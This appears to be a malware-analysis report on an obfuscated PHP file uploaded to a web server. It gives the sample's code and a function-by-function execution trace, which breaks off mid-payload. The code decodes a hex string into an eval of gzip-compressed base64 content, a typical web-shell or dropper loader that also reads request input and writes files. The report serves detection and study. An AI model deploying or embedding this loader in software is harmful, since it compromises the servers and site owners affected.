drrwojkwux.php, zjohyognkh.php

md5: 5cc1641c1815a95e24f3f47576c43c84

Jump to:
Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Encoding
base64_decode (Traces)

Environment
error_reporting (Deobfuscated, Original, Traces)

Execution
eval (Deobfuscated, Original, Traces)

Files
file_get_contents (Traces)
file_put_contents (Traces)

Input
_GET (Traces)

Deobfuscated PHP code
<?php

error_reporting(0);
function Momdo($T1R7y)
{
    $CyJ4O = strlen(trim($T1R7y));
    $yB2qC = '';
    for ($srffE = 0; $srffE < $CyJ4O; $srffE += 2) {
        $yB2qC .= pack("C", hexdec(substr($T1R7y, $srffE, 2)));
    }
    return $yB2qC;
}
eval(MOmdO("6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827") . 'eJyNVH9ME2cYZgwZYyObDqdTcSc2ay/r8AotRc4u1nIFtKVNWxTlyq20X/G0tPV6LcVy25wLmToZM8zgNrI/nDPooobp5kw0Q5kOf6BOBRlKFopxiWEbYlFhLvuuLVGpNrvk8l3ufd7n/fE974sAhnExFAPcLoalnVUiglJqNBUEVaIzFasIFLcBO+0EImGnUIwI9w71CVFcUKjRLVFqjOWdZkSBAL/b4bJBRF1i3TN1SRBWtZ522h0WFog83koPy4iEr29JSQg/qZ8Z+pjfsJdbfGOX91/Y8lxz1zsbF5DkkqJN7R0HFw8EHgwMEzNPtd0YnjK7/pP9GXL60tulO1e2KPJXDa2Zcil996vH/w0FQydCxjTxVf3KWwHldmT8n4ZX3IdEzIvSP8+cLb65jCRPpvT1p1+VNJyfmtX27L6xrIafpp/NlqdtmzN4M6nfx5TdGPyOayv/PufugfICrGsczBo8UN6BeYaSfHiSHDk8vf35rRnaFGfv71OXfbz6g2DF380z91VIZZ3s+qOv9apbenqOnRF89NJM6c7O5RtSxloztO09P+/9Zc+bY9e6T+rZFzpGFAta+9XDw2Xd51pympK7VoUyuGmz7iTX3nljuHvNcPB4nXH+Vt/8gh17ljerTM23H+wMksI22l/V13jBKCBJTe26gYu3FmpH76RuSvwi79MPkfPbR09kptee7mk9Pa76ga13nFs7X3ZZoL2Srm3+Fhya1qS/Wpx8Y8ttZEzH3dPNXRTsy5/9eT11+JYVTb3f7T8e/Ct9c9ORfvXIH8GqdbuGdk05Vk2t/vHmlaE1u8t+fXf/wcvzFl9Yuvkas+7LnuoHIctpX+/AsvcbtW1cKhtCRt07NrQkJpu+OnLxbv6pa1/vRlV3W+eWqeQdg42z9KE5CfOKLNeXtvU6NmaMLOr8RnC/L+DZZr09o/n60fbu/nPvJY6smLH0XmJCglCM+TGLGHkrD0VRPC11svQwFF9MO2nKA1jRhMYCnVw5ZhaXlGo0T7YGICcm4cRPdYZmLNvM24F1tQuZ7IphORxO20W0J+xJFRKm8hh/DJOazSgaEOh9BTagqLR4QK6UsgErL/xJjDIOToiNzc2rUQgoI2FYThhiCHPNZtzrdNDOtaLMQATMkTI5KcslJTKM9MulpD9XQkqkOfDMgaeMlMDTL8/JRPlk7V6nlaVdTgr4aQ/riekHJudgtnbaASi3l6WsLicLnBAXLxgfKPJGgsE3UxwpGMU54PCAgL2GoeFU211u4HyEy59t58n8uXnQKZYMZh0li2lrnhl9GIKvi884WtNjufqzAeSJcoW7kR3+J5HxscJnJqz4ST0Nw6JpRNJ56CoJ9wC64hw30VPE6mUcapdf6WVdIoFNIvPWwItXejEXoeBNFFQZK0Lx8DfUjMsNZRM2i1WlBo1Ob6JMxVpCV2ri5S4BcZEGwlRqKDEZlCVGNWEQz8PiouEhjmYUFwZVpywkSkziWLFjC7m4vmqdRqNbodGplKZiXUk4IXgvcInT/CKPBJ98kRZ+NOJwGo0aCk5BsXqlnoBFxq/xIbhIZzTxYC4OuohQFvB9k6A4A1gvE7k9KCFgjUKhv0BfrWT0isnNqOSQrKfMuxXOJywbVLvZ2tidEG2ljePrhmplo+MhcOvKPOsVYRFXgUfGLpIA+ghlGMkvlIjLY5KLgrmoDfad35EOixXELjYMA+bJt2znxFF+/H9QSLB4BMBncUxki3P/AbUxDAQ=\')));');
$tV = "<token>000000000</token>";
/* FoxAuto */
Execution traces
data/traces/5cc1641c1815a95e24f3f47576c43c84_trace-1676249511.3604.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:52:17.258176]
1	0	1	0.000153	393528
1	3	0	0.000227	398208	{main}	1		/var/www/html/uploads/zjohyognkh.php	0	0
2	4	0	0.000244	398208	error_reporting	0		/var/www/html/uploads/zjohyognkh.php	1	1	0
2	4	1	0.000260	398248
2	4	R			22527
2	5	0	0.000274	398208	Momdo	1		/var/www/html/uploads/zjohyognkh.php	1	1	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
3	6	0	0.000291	398208	trim	0		/var/www/html/uploads/zjohyognkh.php	1	1	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
3	6	1	0.000307	398240
3	6	R			'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$CyJ4O = 66
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC = ''
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE = 0
3	7	0	0.000358	398208	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	0	2
3	7	1	0.000374	398336
3	7	R			'65'
3	8	0	0.000387	398240	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'65'
3	8	1	0.000399	398288
3	8	R			101
3	9	0	0.000411	398208	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	101
3	9	1	0.000425	398304
3	9	R			'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	10	0	0.000459	398240	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	2	2
3	10	1	0.000475	398368
3	10	R			'76'
3	11	0	0.000487	398272	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'76'
3	11	1	0.000500	398320
3	11	R			118
3	12	0	0.000520	398240	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	118
3	12	1	0.000534	398336
3	12	R			'v'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'v'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	13	0	0.000566	398240	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	4	2
3	13	1	0.000581	398368
3	13	R			'61'
3	14	0	0.000594	398272	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'61'
3	14	1	0.000606	398320
3	14	R			97
3	15	0	0.000618	398240	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	97
3	15	1	0.000630	398336
3	15	R			'a'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'a'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	16	0	0.000662	398240	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	6	2
3	16	1	0.000677	398368
3	16	R			'6C'
3	17	0	0.000689	398272	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'6C'
3	17	1	0.000701	398320
3	17	R			108
3	18	0	0.000713	398240	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	108
3	18	1	0.000725	398336
3	18	R			'l'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'l'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	19	0	0.000756	398240	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	8	2
3	19	1	0.000772	398368
3	19	R			'28'
3	20	0	0.000784	398272	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'28'
3	20	1	0.000796	398320
3	20	R			40
3	21	0	0.000808	398240	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	40
3	21	1	0.000820	398336
3	21	R			'('
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= '('
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	22	0	0.000851	398240	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	10	2
3	22	1	0.000867	398368
3	22	R			'67'
3	23	0	0.000879	398272	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'67'
3	23	1	0.000891	398320
3	23	R			103
3	24	0	0.000902	398240	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	103
3	24	1	0.000915	398336
3	24	R			'g'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'g'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	25	0	0.000952	398240	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	12	2
3	25	1	0.000967	398368
3	25	R			'7A'
3	26	0	0.000980	398272	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'7A'
3	26	1	0.000991	398320
3	26	R			122
3	27	0	0.001003	398240	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	122
3	27	1	0.001016	398336
3	27	R			'z'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'z'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	28	0	0.001046	398240	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	14	2
3	28	1	0.001061	398368
3	28	R			'75'
3	29	0	0.001073	398272	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'75'
3	29	1	0.001085	398320
3	29	R			117
3	30	0	0.001096	398240	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	117
3	30	1	0.001109	398336
3	30	R			'u'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'u'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	31	0	0.001140	398248	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	16	2
3	31	1	0.001155	398376
3	31	R			'6E'
3	32	0	0.001167	398280	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'6E'
3	32	1	0.001178	398328
3	32	R			110
3	33	0	0.001190	398248	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	110
3	33	1	0.001202	398344
3	33	R			'n'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'n'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	34	0	0.001233	398248	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	18	2
3	34	1	0.001248	398376
3	34	R			'63'
3	35	0	0.001260	398280	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'63'
3	35	1	0.001272	398328
3	35	R			99
3	36	0	0.001283	398248	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	99
3	36	1	0.001296	398344
3	36	R			'c'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'c'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	37	0	0.001326	398248	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	20	2
3	37	1	0.001340	398376
3	37	R			'6F'
3	38	0	0.001352	398280	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'6F'
3	38	1	0.001364	398328
3	38	R			111
3	39	0	0.001376	398248	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	111
3	39	1	0.001388	398344
3	39	R			'o'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'o'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	40	0	0.001419	398248	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	22	2
3	40	1	0.001434	398376
3	40	R			'6D'
3	41	0	0.001446	398280	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'6D'
3	41	1	0.001458	398328
3	41	R			109
3	42	0	0.001470	398248	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	109
3	42	1	0.001482	398344
3	42	R			'm'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'm'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	43	0	0.001513	398248	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	24	2
3	43	1	0.001527	398376
3	43	R			'70'
3	44	0	0.001540	398280	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'70'
3	44	1	0.001552	398328
3	44	R			112
3	45	0	0.001563	398248	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	112
3	45	1	0.001576	398344
3	45	R			'p'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'p'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	46	0	0.001611	398248	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	26	2
3	46	1	0.001626	398376
3	46	R			'72'
3	47	0	0.001638	398280	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'72'
3	47	1	0.001650	398328
3	47	R			114
3	48	0	0.001662	398248	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	114
3	48	1	0.001677	398344
3	48	R			'r'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'r'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	49	0	0.001757	398248	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	28	2
3	49	1	0.001773	398376
3	49	R			'65'
3	50	0	0.001785	398280	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'65'
3	50	1	0.001797	398328
3	50	R			101
3	51	0	0.001808	398248	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	101
3	51	1	0.001821	398344
3	51	R			'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	52	0	0.001852	398248	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	30	2
3	52	1	0.001867	398376
3	52	R			'73'
3	53	0	0.001879	398280	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'73'
3	53	1	0.001891	398328
3	53	R			115
3	54	0	0.001903	398248	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	115
3	54	1	0.001915	398344
3	54	R			's'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 's'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	55	0	0.001946	398256	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	32	2
3	55	1	0.001961	398384
3	55	R			'73'
3	56	0	0.001973	398288	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'73'
3	56	1	0.001985	398336
3	56	R			115
3	57	0	0.001996	398256	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	115
3	57	1	0.002009	398352
3	57	R			's'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 's'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	58	0	0.002040	398256	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	34	2
3	58	1	0.002055	398384
3	58	R			'28'
3	59	0	0.002067	398288	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'28'
3	59	1	0.002078	398336
3	59	R			40
3	60	0	0.002090	398256	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	40
3	60	1	0.002103	398352
3	60	R			'('
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= '('
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	61	0	0.002134	398256	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	36	2
3	61	1	0.002149	398384
3	61	R			'62'
3	62	0	0.002161	398288	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'62'
3	62	1	0.002173	398336
3	62	R			98
3	63	0	0.002185	398256	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	98
3	63	1	0.002197	398352
3	63	R			'b'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'b'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	64	0	0.002228	398256	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	38	2
3	64	1	0.002242	398384
3	64	R			'61'
3	65	0	0.002254	398288	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'61'
3	65	1	0.002266	398336
3	65	R			97
3	66	0	0.002278	398256	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	97
3	66	1	0.002290	398352
3	66	R			'a'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'a'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	67	0	0.002322	398256	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	40	2
3	67	1	0.002340	398384
3	67	R			'73'
3	68	0	0.002353	398288	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'73'
3	68	1	0.002365	398336
3	68	R			115
3	69	0	0.002376	398256	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	115
3	69	1	0.002389	398352
3	69	R			's'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 's'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	70	0	0.002420	398256	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	42	2
3	70	1	0.002434	398384
3	70	R			'65'
3	71	0	0.002446	398288	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'65'
3	71	1	0.002458	398336
3	71	R			101
3	72	0	0.002470	398256	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	101
3	72	1	0.002483	398352
3	72	R			'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	73	0	0.002514	398256	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	44	2
3	73	1	0.002529	398384
3	73	R			'36'
3	74	0	0.002541	398288	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'36'
3	74	1	0.002553	398336
3	74	R			54
3	75	0	0.002565	398256	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	54
3	75	1	0.002577	398352
3	75	R			'6'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= '6'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	76	0	0.002608	398256	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	46	2
3	76	1	0.002623	398384
3	76	R			'34'
3	77	0	0.002635	398288	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'34'
3	77	1	0.002647	398336
3	77	R			52
3	78	0	0.002659	398256	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	52
3	78	1	0.002671	398352
3	78	R			'4'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= '4'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	79	0	0.002702	398264	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	48	2
3	79	1	0.002717	398392
3	79	R			'5F'
3	80	0	0.002729	398296	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'5F'
3	80	1	0.002740	398344
3	80	R			95
3	81	0	0.002752	398264	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	95
3	81	1	0.002765	398360
3	81	R			'_'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= '_'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	82	0	0.002795	398264	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	50	2
3	82	1	0.002810	398392
3	82	R			'64'
3	83	0	0.002822	398296	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'64'
3	83	1	0.002834	398344
3	83	R			100
3	84	0	0.002847	398264	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	100
3	84	1	0.002860	398360
3	84	R			'd'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'd'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	85	0	0.002891	398264	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	52	2
3	85	1	0.002906	398392
3	85	R			'65'
3	86	0	0.002918	398296	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'65'
3	86	1	0.002930	398344
3	86	R			101
3	87	0	0.002941	398264	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	101
3	87	1	0.002954	398360
3	87	R			'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	88	0	0.002985	398264	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	54	2
3	88	1	0.002999	398392
3	88	R			'63'
3	89	0	0.003011	398296	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'63'
3	89	1	0.003027	398344
3	89	R			99
3	90	0	0.003039	398264	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	99
3	90	1	0.003051	398360
3	90	R			'c'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'c'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	91	0	0.003081	398264	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	56	2
3	91	1	0.003096	398392
3	91	R			'6F'
3	92	0	0.003150	398296	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'6F'
3	92	1	0.003163	398344
3	92	R			111
3	93	0	0.003175	398264	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	111
3	93	1	0.003188	398360
3	93	R			'o'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'o'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	94	0	0.003220	398264	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	58	2
3	94	1	0.003235	398392
3	94	R			'64'
3	95	0	0.003247	398296	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'64'
3	95	1	0.003259	398344
3	95	R			100
3	96	0	0.003271	398264	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	100
3	96	1	0.003283	398360
3	96	R			'd'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'd'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	97	0	0.003314	398264	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	60	2
3	97	1	0.003329	398392
3	97	R			'65'
3	98	0	0.003341	398296	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'65'
3	98	1	0.003353	398344
3	98	R			101
3	99	0	0.003365	398264	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	101
3	99	1	0.003377	398360
3	99	R			'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= 'e'
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	100	0	0.003407	398264	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	62	2
3	100	1	0.003423	398392
3	100	R			'28'
3	101	0	0.003435	398296	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'28'
3	101	1	0.003448	398344
3	101	R			40
3	102	0	0.003460	398264	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	40
3	102	1	0.003472	398360
3	102	R			'('
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= '('
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
3	103	0	0.003503	398272	substr	0		/var/www/html/uploads/zjohyognkh.php	1	3	'6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827'	64	2
3	103	1	0.003519	398400
3	103	R			'27'
3	104	0	0.003531	398304	hexdec	0		/var/www/html/uploads/zjohyognkh.php	1	1	'27'
3	104	1	0.003543	398352
3	104	R			39
3	105	0	0.003555	398272	pack	0		/var/www/html/uploads/zjohyognkh.php	1	2	'C'	39
3	105	1	0.003568	398368
3	105	R			'\''
2		A						/var/www/html/uploads/zjohyognkh.php	1	$yB2qC .= '\''
2		A						/var/www/html/uploads/zjohyognkh.php	1	$srffE += 2
2	5	1	0.003599	398272
2	5	R			'eval(gzuncompress(base64_decode(\''
2	106	0	0.003634	403032	eval	1	'eval(gzuncompress(base64_decode(\'eJyNVH9ME2cYZgwZYyObDqdTcSc2ay/r8AotRc4u1nIFtKVNWxTlyq20X/G0tPV6LcVy25wLmToZM8zgNrI/nDPooobp5kw0Q5kOf6BOBRlKFopxiWEbYlFhLvuuLVGpNrvk8l3ufd7n/fE974sAhnExFAPcLoalnVUiglJqNBUEVaIzFasIFLcBO+0EImGnUIwI9w71CVFcUKjRLVFqjOWdZkSBAL/b4bJBRF1i3TN1SRBWtZ522h0WFog83koPy4iEr29JSQg/qZ8Z+pjfsJdbfGOX91/Y8lxz1zsbF5DkkqJN7R0HFw8EHgwMEzNPtd0YnjK7/pP9GXL60tulO1e2KPJXDa2Zcil996vH/w0FQydCxjTxVf3KWwHldmT8n4ZX3IdEzIvSP8+cLb65jCRPpvT1p1+VNJyfmtX27L6xrIafpp/NlqdtmzN4M6nfx5TdGPyOayv/PufugfICrGsczBo8UN6BeYaSfHiSHDk8vf35rRnaFGfv71OXfbz6g2DF380z91VIZZ3s+qOv9apbenqOnRF89NJM6c7O5RtSxloztO09P+/9Zc+bY9e6T+rZFzpGFAta+9XDw2Xd51pympK7VoUyuGmz7iTX3nljuHvNcPB4nXH+Vt/8gh17ljerTM23H+wMksI22l/V13jBKCBJTe26gYu3FmpH76RuSvwi79MPkfPbR09kptee7mk9Pa76ga13nFs7X3ZZoL2Srm3+Fhya1qS/Wpx8Y8ttZEzH3dPNXRTsy5/9eT11+JYVTb3f7T8e/Ct9c9ORfvXIH8GqdbuGdk05Vk2t/vHmlaE1u8t+fXf/wcvzFl9Yuvkas+7LnuoHIctpX+/AsvcbtW1cKhtCRt07NrQkJpu+OnLxbv6pa1/vRlV3W+eWqeQdg42z9KE5CfOKLNeXtvU6NmaMLOr8RnC/L+DZZr09o/n60fbu/nPvJY6smLH0XmJCglCM+TGLGHkrD0VRPC11svQwFF9MO2nKA1jRhMYCnVw5ZhaXlGo0T7YGICcm4cRPdYZmLNvM24F1tQuZ7IphORxO20W0J+xJFRKm8hh/DJOazSgaEOh9BTagqLR4QK6UsgErL/xJjDIOToiNzc2rUQgoI2FYThhiCHPNZtzrdNDOtaLMQATMkTI5KcslJTKM9MulpD9XQkqkOfDMgaeMlMDTL8/JRPlk7V6nlaVdTgr4aQ/riekHJudgtnbaASi3l6WsLicLnBAXLxgfKPJGgsE3UxwpGMU54PCAgL2GoeFU211u4HyEy59t58n8uXnQKZYMZh0li2lrnhl9GIKvi884WtNjufqzAeSJcoW7kR3+J5HxscJnJqz4ST0Nw6JpRNJ56CoJ9wC64hw30VPE6mUcapdf6WVdIoFNIvPWwItXejEXoeBNFFQZK0Lx8DfUjMsNZRM2i1WlBo1Ob6JMxVpCV2ri5S4BcZEGwlRqKDEZlCVGNWEQz8PiouEhjmYUFwZVpywkSkziWLFjC7m4vmqdRqNbodGplKZiXUk4IXgvcInT/CKPBJ98kRZ+NOJwGo0aCk5BsXqlnoBFxq/xIbhIZzTxYC4OuohQFvB9k6A4A1gvE7k9KCFgjUKhv0BfrWT0isnNqOSQrKfMuxXOJywbVLvZ